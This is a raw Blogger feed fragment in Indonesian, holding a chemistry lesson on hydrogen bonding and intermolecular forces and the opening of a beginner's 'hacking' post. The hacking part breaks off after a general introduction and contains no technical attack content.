id="BLOGGER_PHOTO_ID_5406885884451305330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 15. Titik leleh dan titik didih senyawa dari unsur&lt;br /&gt;golongan VA dari periode 2 sampai 5.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swk_viiZlII/AAAAAAAAAIs/rJgpW2cSeQ8/s1600/ih17.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 180px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swk_viiZlII/AAAAAAAAAIs/rJgpW2cSeQ8/s400/ih17.jpg" alt="" id="BLOGGER_PHOTO_ID_5406922913592480898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 15. Titik leleh dan titik didih senyawa dari unsur&lt;br /&gt;golongan VA dari periode 2 sampai 5.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlDN2bP3II/AAAAAAAAAI0/lvpMESa7-O4/s1600/ih18.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 195px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlDN2bP3II/AAAAAAAAAI0/lvpMESa7-O4/s400/ih18.jpg" alt="" id="BLOGGER_PHOTO_ID_5406926732862151810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 16. Titik leleh dan titik didih senyawa dari unsur&lt;br /&gt;golongan VIIA dari periode 2 sampai 5.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlFBUqdHYI/AAAAAAAAAI8/-mE2ywKgySU/s1600/ih19.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 212px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlFBUqdHYI/AAAAAAAAAI8/-mE2ywKgySU/s400/ih19.jpg" alt="" id="BLOGGER_PHOTO_ID_5406928716663954818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 17. Titk leleh dan titik didih senyawa dari unsur&lt;br /&gt;golongan IVA dari periode 2 sampai 5.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlFe4T7ahI/AAAAAAAAAJE/RzxLNXxMdr8/s1600/ih20.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 233px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlFe4T7ahI/AAAAAAAAAJE/RzxLNXxMdr8/s400/ih20.jpg" alt="" id="BLOGGER_PHOTO_ID_5406929224449354258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 18. Titik leleh dan titik didih unsur&lt;br /&gt;golongan gas mula dari periode 2 sampai 5.&lt;br /&gt;&lt;br /&gt;Dapat Anda perhatikan unsur satu golongan (gambar 18) akan memiliki titik didih dan titik leleh yang bertambah, sesuai dengan bertambahnya nomor atom, massa atom relatif dan perioda.&lt;br /&gt;Senyawa yang memiliki ikatan Hidrogen akan memiliki titk didih dan titik leleh yang lebih tinggi dari senyawa lain yang tidak memiliki ikatan hidrogen. Perhatikan gambar 14 sampai 17.&lt;br /&gt;Bandingkanlah molekul yang memiliki ikatan hidrogen (HF, NH3, H2O) dengan molekul segolongannya.&lt;br /&gt;Titik didih H2O lebih tinggi daripada H2S, H2Se dan H2Te. Begitu pula titik didih NH3 lebih tinggi daripada PH3, AsH3, SbH3.&lt;br /&gt;Hal ini ternyata disebabkan terdapatnyan ikatan Hidrogen yang kuat antar molekul-molekulnya.&lt;br /&gt;Bagaimana senyawa organik ?&lt;br /&gt;Apakah ikatan Hidrogen dapat mempengaruhi titik didihnya juga ?&lt;br /&gt;Coba Anda bandingkan titik didih propane dengan etanol menggunakan data dalam tabel 4.&lt;br /&gt;&lt;br /&gt;Tabel 4. Hubungan titik didih dengan Mr senyawa organik&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlGdupBQpI/AAAAAAAAAJM/6MtcX24TJnA/s1600/ih21.jpg"&gt;&lt;img style="cursor: pointer; width: 471px; height: 206px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlGdupBQpI/AAAAAAAAAJM/6MtcX24TJnA/s400/ih21.jpg" alt="" id="BLOGGER_PHOTO_ID_5406930304185221778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Etanol memiliki titik didih yang sangat tinggi dibandingkan dengan propana walaupun massa molekul relatif (Mr) keduanya tidak jauh berbeda. Hal ini terjadi karena dalam molekul etanol terdapat ikatan hidrogen sedangkan propana tidak. Perhatikan rumus struktur etanol dan propana berikut ini :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlGxrfZ1MI/AAAAAAAAAJU/CpQNywF4HD0/s1600/ih22.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 180px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlGxrfZ1MI/AAAAAAAAAJU/CpQNywF4HD0/s400/ih22.jpg" alt="" id="BLOGGER_PHOTO_ID_5406930646936966338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 19. Rumus struktur etanol dan propana&lt;br /&gt;&lt;br /&gt;Akibat lain dari adanya ikatan hidrogen adalah terjadinya penyimpanan massa molekul relatif. Seperti halnya asam etanoat (asam asetat) atau dalam kehidupan sehari-hari dikenal dengan asam cuka, yang biasa di jumpai dalam wujud larutan tetapi dapat di jumpai dalam wujud gas. Wujud yang terakhir ini terjadi karena du molekul asam cuka bergabung bersama dengan ikatan hidrogen sehingga massa molekul relatifnya (Mr) menjadi 120, dua kali besar dari biasanya yaitu 60.&lt;br /&gt;Terjadinya pengabungan dua molekul sehingga berpasangan di sebut “dimerisation”. Peristiwa ini dapat di gambarkan sebagai berikut :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwlHMKbB5bI/AAAAAAAAAJc/SX2X0qCzDNo/s1600/ih23.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 214px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwlHMKbB5bI/AAAAAAAAAJc/SX2X0qCzDNo/s400/ih23.jpg" alt="" id="BLOGGER_PHOTO_ID_5406931101916718514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 20. Rumus struktur dua molekul asam etanoat.&lt;br /&gt;&lt;br /&gt;Senyawa yang membentuk ikatan hidrogen inter molekul akan memiliki titik didih dan titik leleh yang lebih tinggi dibandingkan dengan senyawa yang membentuk ikatan hidrogen intra molekul. Hal ini karena energi kinetik ikatan hidrogen inter molekul lebih besar dari pada ikatan hidrogen intra molokul.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A. Gaya Tarik Antar Molekul&lt;/span&gt;&lt;br /&gt;Jika Molekul – molekul membentuk senyawa tentunya ada interaksi antar molekul tersebut seperti halnya keluarga, jika suatu keluarga dinyatakan sebagai senyawa dan anggota keluarga sebagai molekul, maka setelah kita mempelajari sifat masing – masing anggota keluarga tentunya kita akan mempelajari hubungan (interaksi) antar anggota keluarga tersebut. Gaya antar molekul pada modul ini dibatasi pada gaya tarik antara dua molekul atau lebih dari satu zat murni.&lt;br /&gt;Pada bagian ini, akan dipelajari tiga macam gaya tarik antar molekul. Dua diantaranya sekaligus disebut gaya tarik Van der Waals. Gaya tarik yang lemah disebabkan oleh dipol imbasan sesaat, yang terjadi antara semua molekul, bahkan juga molekul yang non polar sekalipun, Gaya tarik Van der Waals yang kuat, disebut gaya tarik dipol-dipol, terjadi antara molekul yang memiliki momen dipol permanen. Gaya tarik ketiga lebih kuat dari gaya Van der Waals yang terjadi hanya antar molekul tertentu dan kemudian disebut Ikatan Hidrogen.&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;1. Gaya London&lt;/span&gt;&lt;br /&gt;Seorang ahli fisika dari Jerman Fritz London, tahun 1930 menguraikan terjadinya tarikan yang lemah disebabkan oleh dipol imbasan sekejap atau sesaat yang kemudian dikenal Gaya London.&lt;br /&gt;Terjadinya tarikan antar elektron satu molekul dan inti molekul yang lain dapat dibayangkan sebagai akibat menggesernya posisi atau getaran (Vibrasi) elektron dan inti-inti itu. Suatu getaran dalam sebuah molekul mengimbas (menginduksi) suatu geseran elektron-elektron suatu molekul yang disebelahnya seperti gambar 5.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwlIItDyQNI/AAAAAAAAAJk/JuUl0mnezo8/s1600/ih24.jpg"&gt;&lt;img style="cursor: pointer; width: 333px; height: 400px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwlIItDyQNI/AAAAAAAAAJk/JuUl0mnezo8/s400/ih24.jpg" alt="" id="BLOGGER_PHOTO_ID_5406932142006616274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 5. Diagram getaran elektron terhadap inti-inti&lt;br /&gt;dalam dua atom dari suatu gas mulia.&lt;br /&gt;&lt;br /&gt;Atom simetris (tengah bersifat non polar) tetapi getaran yang mengimbas gaya tarik dipol sesaat antara atom-atom sebelahnya.&lt;br /&gt;Perhatikan bahwa posisi inti tidak berubah.&lt;br /&gt;Bila beberapa molekul berkumpul bersama-sama seperti dalam cair, geseran-geseran disingkronkan, sehingga terdapat suatu tarikan total antara banyak molekul yang bersebelahan. Dipol-dipol ini dikatakan bersifat sesaat, karena getaran itu milyaran kali dalam suatu detik.&lt;br /&gt;Pada saat berikutnya dipol itu hilang, atau mungkin arah polaritas telah dibalik. Gaya London ini yang menyebabkan adanya tarikan antara molekul-molekul senyawa non polar.&lt;br /&gt;Ingatkah Anda bagaimana caranya membedakan molekul polar dengan non polar? Jika tidak bukalah dan baca kembali modul Kim X.04 bagian kepolaran.&lt;br /&gt;Molekul-molekul polar besar lebih efektif ditarik satu sama lain daripada molekul kecil. Marilah kita bandingkan molekul metana, CH4 dengan propana CH3 CH2 CH3.&lt;br /&gt;Perhatikan rumus struktur keduanya.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlIqSLVryI/AAAAAAAAAJs/t9grBFZvTKo/s1600/ih25.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 211px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlIqSLVryI/AAAAAAAAAJs/t9grBFZvTKo/s400/ih25.jpg" alt="" id="BLOGGER_PHOTO_ID_5406932718906093346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Apa yang dapat Anda simpulkan dari rumus struktur itu ?&lt;br /&gt;Struktur molekul Propana lebih besar dari Metana sehingga tarikan yang terjadi antar dua molekul Propana lebih kuat dari pada dua molekul Metana. Contoh lain yang dapat kita perhatikan antara iod, I2, dan flour, F2. Manakah yang lebih kuat, molekul iod atau molekul flour ?&lt;br /&gt;Apakah jawaban Anda molekul iod ?&lt;br /&gt;Jika demikian, Anda benar.&lt;br /&gt;Molekul dengan distribusi / penyebaran elektron yang besar dan baur ke segala arah saling menarik lebih kuat dari pada molekul – molekul yang elektronnya lebih kuat terikat. Molekul iod yang besar itu saling tarik – menarik dengan lebih kuat dari pada molekul flour yang lebih kecil.&lt;br /&gt;Mudah tidaknya suatu molekul membentuk dipol sesaat disebut polarisabilitas. Hal ini berkaitan dengan masa molekul relatif (Mr) dan bentuk molekul. Masa molekul relatif berkaitan dengan jumlah elektron dalam molekul maka makin mudah mengalami polarisasi sehingga makin kuat gaya Londonnya.&lt;br /&gt;Mari kita bandingkan molekul H2, N2, O2, dan Br2. Bagaimana urutan kekuatan gaya London molekul-molekul tersebut ?&lt;br /&gt;Apakah jawaban Anda berikut ini ?&lt;br /&gt;Urutan kekuatan Gaya London dari yang terlemah ke yang paling kuat adalah H2 — N2 — O2 — Br2 karena&lt;br /&gt;MrBr2 &gt; MrO2 &gt; MrN2 &gt; MrH2&lt;br /&gt;Molekul yang bentuknya panjang lebih mudah mengalami polarisasi dibandingkan molekul yang kecil, padat dan simetris sehingga gaya London Pentana lebih kuat dari pada 2 – Metil Butana (Neo Petana).&lt;br /&gt;Bagaimanakah akibat pergerakan elektron dalam orbital pada molekul polar? Pelajarilah uraian berikut?&lt;br /&gt;2. Gaya Tarik Dipol – dipol&lt;br /&gt;Molekul yang mempunyai momen dipol permanen dikatakan sebagai polar. Seperti gambar 6.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwlJoqBabtI/AAAAAAAAAJ0/lFxtac6UE9I/s1600/ih26.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 256px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwlJoqBabtI/AAAAAAAAAJ0/lFxtac6UE9I/s400/ih26.jpg" alt="" id="BLOGGER_PHOTO_ID_5406933790458801874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 6. Molekul diatom kovalen polar&lt;br /&gt;&lt;br /&gt;Perhatikan bahwa anak panah yang menyatakan kepolaran digambar dari muatan positif parsial ke muatan negatif parsial.&lt;br /&gt;Perhatikan pada gambar.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwlKE6jWZ6I/AAAAAAAAAJ8/T3BSNjgJdc8/s1600/ih27.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 356px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwlKE6jWZ6I/AAAAAAAAAJ8/T3BSNjgJdc8/s400/ih27.jpg" alt="" id="BLOGGER_PHOTO_ID_5406934275932448674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 7. Molekul tri atom polar dan non polar&lt;br /&gt;&lt;br /&gt;Arah vektor menuju ke atom yang lebih elektronegatif ujung plus menunjukkan ke atom yang kurang elektronegatif. Gaya tarik antar dua molekul polar disebut Gaya tarik dipol-dipol. Tarikan ini lebih kuat dari pada tarikan antara molekul-molekul non polar.&lt;br /&gt;Ikatan Hidrogen Lagi....&lt;br /&gt;Tarikan antar molekul yang luar biasa kuatnya, dapat terjadi antara molekul-molekul, jika satu molekul mempunyai sebuah atom hidrogen yang terikat pada sebuah atom berelektronegativitas besar, dan molekul sebelahnya mempunyai sebuah atom berelektronegativitas tinggi yang mempunyai sepasang elektron menyendiri.&lt;br /&gt;Inti hidrogen, yakni proton ditarik oleh sepasang elektron yang bersebelahan bolak-balik antara kedua atom tersebut. Tarikan antara dua molekul yang menggunakan bersama-sama sebuah proton disebut Ikatan Hidrogen.&lt;br /&gt;Gambaran Ikatan Hidrogen Intra Molekul.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlKs8zIP_I/AAAAAAAAAKE/oy0NCJdqoPM/s1600/ih28.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 156px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlKs8zIP_I/AAAAAAAAAKE/oy0NCJdqoPM/s400/ih28.jpg" alt="" id="BLOGGER_PHOTO_ID_5406934963730268146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;dimana x merupakan atom yang sangat elektronegatif , dan Y merupakan atom yang sangat elektronegatif dengan pasangan elektron bebas.&lt;br /&gt;&lt;br /&gt;Ikatan hidrogen terbentuk hanya pada molekul yang mengandung nitrogen, oksigen ataupun flour.&lt;br /&gt;Ikatan hidrogen dapat terjadi inter molekul dan intra molekul. Jika Ikatan hidrogen terjadi diantara molekul-molekul yang berbeda maka disebut ikatan hidrogen intermolekul atau antar molekul seperti senyawa 1,4 – dihidroksi benzena. Sedangkan bila ikatan hidrogen terjadi antara atom-atom dalam molekul yang sama maka disebut ikatan hidrogen intramolekul atau didalam molekul seperti senyawa 1,2 – dihidroksi benzena.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlNrGmn5SI/AAAAAAAAAKM/HtabTrhX6YA/s1600/ih29.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 246px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlNrGmn5SI/AAAAAAAAAKM/HtabTrhX6YA/s400/ih29.jpg" alt="" id="BLOGGER_PHOTO_ID_5406938230537315618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 8: Rumus struktur 1,2–dihidroksi benzena dan&lt;br /&gt;1,4–dihidroksi benzena.&lt;br /&gt;&lt;br /&gt;Senyawa 1,2 – Dihidroksi benzena memiliki ikatan hidrogen Intra molekul karena atom H dan atom O letaknya berdekatan dalam satu molekul. Berbeda halnya dengan 1,4 – Dihidroksi benzena letaknya gugus hidroksi (OH) saling berjauhan sehingga tidak memiliki ikatan hidrogen intramolekul. Perhatikan gambar 9 dan gambar 10.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwlOLsyaVRI/AAAAAAAAAKU/h8JSRxQcR84/s1600/ih30.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 252px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwlOLsyaVRI/AAAAAAAAAKU/h8JSRxQcR84/s400/ih30.jpg" alt="" id="BLOGGER_PHOTO_ID_5406938790543119634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 9. Ikatan Hidrogen Intramolekul pada senyawa&lt;br /&gt;1,2 – Dihidroksi benzena&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlOqsVx_VI/AAAAAAAAAKc/r4-mQq5OLRs/s1600/ih31.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 308px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwlOqsVx_VI/AAAAAAAAAKc/r4-mQq5OLRs/s400/ih31.jpg" alt="" id="BLOGGER_PHOTO_ID_5406939322998979922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 10. Ikatan Hidrogen Intramolekul pada senyawa&lt;br /&gt;1,2 – Dihidroksi benzena&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Ikatan hidrogen&lt;/span&gt;&lt;br /&gt;Ikatan hidrogen merupakan gaya tarik menarik antara atom H dengan atom lain yang mempunyai keelektronegatifan besar pada satu molekul dari senyawa yang sama. Tarikan antar molekul yang luar biasa kuatnya, dapat terjadi antara molekul-molekul, jika satu molekul mempunyai sebuah atom hidrogen yang terikat pada sebuah atom berelektronegativitas besar, dan molekul sebelahnya mempunyai sebuah atom berelektronegativitas tinggi yang mempunyai sepasang elektron menyendiri.&lt;br /&gt;Inti hidrogen, yakni proton ditarik oleh sepasang elektron yang bersebelahan bolak-balik antara kedua atom tersebut. Tarikan antara dua molekul yang menggunakan bersama-sama sebuah proton disebut Ikatan Hidrogen.&lt;br /&gt;&lt;br /&gt;Gambaran Ikatan Hidrogen Intra Molekul.&lt;br /&gt;Ikatan hidrogen terbentuk hanya pada molekul yang mengandung nitrogen, oksigen ataupun flour.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlPKHdmC2I/AAAAAAAAAKk/ck8HpLyTQP4/s1600/ih32.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 332px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwlPKHdmC2I/AAAAAAAAAKk/ck8HpLyTQP4/s400/ih32.jpg" alt="" id="BLOGGER_PHOTO_ID_5406939862855453538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Animasi diatas menunjukkan molekul kristal air (molekul polar) dalam bentuk liquid. Gaya tarik antara molekul polar yang mengandung hidrogen dengan pasangan elektron bebas dari molekul oksigen. Pada ikatan polar setiap atom hidrogen bermuatan agak positif sehingga dapat menarik elektron. Ikatan hidrogen menyebabkan titik didih dan titik leleh air tinggi bila dibandingkan molekul lain yang kecil tapi molekulnya nonpolar.&lt;br /&gt;Hidrogen+ tertarik dengan kuat pada pasangan mendiri yang mana hampir sama jika kamu memulai untuk membentuk ikatan koordinasi (kovalen dativ). Hal ini tidak terjadi sejauh itu, tetapi dayatarik lebih kuat dibandingkan dayatarik dipol-dipol yang biasa.&lt;br /&gt;Ikatan hidrogen memiliki kekuatan sepersepuluh rata-rata ikatan kovalen, dan secara konstan diputushubungkan pada molekul air. Jika kamu mengibaratkan ikatan kovalen antara oksigen dan hidrogen sebagai hubungan pernikahan yang stabil, ikatan hidrogen hanya berstatus teman yang baik. Pada skala yang sama, dayatarik van der Waals hanya menunjukkan perkenalan belaka!&lt;br /&gt;Kelarutan senyawa&lt;br /&gt;Tampak pada gambar diatas bahwa senyawa HF, H2O dan NH3 mempunyai titik didih yang luar biasa tinggi dibanding dengan anggota lainnya. Fakta ini menunjukkan bahwa dalam senyawa tersebut terdapat ikatan hidrogen. Ikatan jenis ini terjadi karena gaya elektrostatik yang khusus antara dipol-dipol. Adanya ikatan hidrigen antarmolekul menyebabkan titik senyawa relatif lebih tinggi dibandingkan dengan senyawa lain yang memilki berat molekul sebanding. Titik didih senyaea golongna alkohol lebih tinggi daripada senyawa golongan alkana, demikian juga titik didih air lebih tinggidaripada aseton. Pengaruh ikatan hidrogen terhadap titik leleh tidak begitu besar karena pada wujud padat jarak antarmolekul cukup berdekatan dan yang paling berperan terhadap titik leleh adalah berat molekul zat dan bentuk simetris molekul. Senyawa yang mampu membentuk ikatan hidrogen dalam air akan mudah larut dalam air. Panjang atau pendeknya rantao karbon (gugus alkil-R) memiliki pengaruh terhadap kealrutan senyawa dalam air.&lt;br /&gt;ikatan hidrogen, Ikatan jenis ini terjadi karena gaya elektrostatik yang khusus antara dipol-dipol. Adanya ikatan hidrigen antarmolekul menyebabkan titik senyawa relatif lebih tinggi dibandingkan dengan senyawa lain yang memilki berat molekul sebanding. Titik didih senyaea golongna alkohol lebih tinggi daripada senyawa golongan alkana, demikian juga titik didih air lebih tinggidaripada aseton. Pengaruh ikatan hidrogen terhadap titik leleh tidak begitu besar karena pada wujud padat jarak antarmolekul cukup berdekatan dan yang paling berperan terhadap titik leleh adalah berat molekul zat dan bentuk simetris molekul. Senyawa yang mampu membentuk ikatan hidrogen dalam air akan mudah larut dalam air. Panjang atau pendeknya rantao karbon (gugus alkil-R) memiliki pengaruh terhadap kelarutan senyawa dalam air.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-99048876720754503?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/99048876720754503/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/ikatan-hidrogen.html#comment-form' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/99048876720754503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/99048876720754503'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/ikatan-hidrogen.html' title='ikatan hidrogen'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lylI1wyyUFQ/Swlcs-a_0WI/AAAAAAAAAK0/a_lU1rF6WNU/s72-c/hydrogenbonds.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-937998084004046138</id><published>2009-11-10T03:17:00.000-08:00</published><updated>2009-11-10T04:35:56.887-08:00</updated><title type='text'>belajar hack bagi pemula</title><content type='html'>&lt;a style="font-family: arial;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SvlM8U4N2rI/AAAAAAAAAFM/VPlpInZiE6g/s1600-h/hacker.jpg"&gt;&lt;img style="cursor: pointer; width: 243px; height: 320px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SvlM8U4N2rI/AAAAAAAAAFM/VPlpInZiE6g/s320/hacker.jpg" alt="" id="BLOGGER_PHOTO_ID_5402433827287980722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;Belajar Hack, awas, ambil sisi positifnya aja ya...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Hacking buat pemula&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;- by aCh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Disini lebih dititikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (Q sendiri msh blm bisa membuat exploit sendiri), Q cuman nulisin hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hacking buat pemula&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;hallo bro,,! sebagai tetek bengek aja ntuk halaman ini, q cuma mau bilang betapa pentingnya kombinasi ilmu, maksudnya kombinasi dari berbagai disiplin ilmu,, kalau anda misalnya sebagai fisikawan atau kimiawan sejati misalnya, maka nggk ada salahnya belajar ilmu yg lain seperti statistika atau ilmu komputer, atau disiplin ilmu yang lainnya,, anda nggk bakal rugi,,, malahan dari kombinasi dari berbagai disiplin ilmu itu akan dapat menciptakan sesuatu yang baru mungkin ? atau dapat menyelesaikan masalah-masalah yang lebih kompleks yang terjadi di muka bumi ini maupun di luar bumi ( mengahadapi alien yang akan meneror bumi mungkin ? hehehe,, becanda aja wal...) yang jelas belajarlah selagi kamu masih bisa mempelajari apa yang kamu bisa... ok&lt;br /&gt;semangat..!!!&lt;br /&gt;Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlbTyREh_I/AAAAAAAAAF8/_M_Ehd6AcUg/s1600-h/i5rsxw.jpg.gif"&gt;&lt;img style="cursor: pointer; width: 320px; height: 302px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlbTyREh_I/AAAAAAAAAF8/_M_Ehd6AcUg/s320/i5rsxw.jpg.gif" alt="" id="BLOGGER_PHOTO_ID_5402449623476635634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit 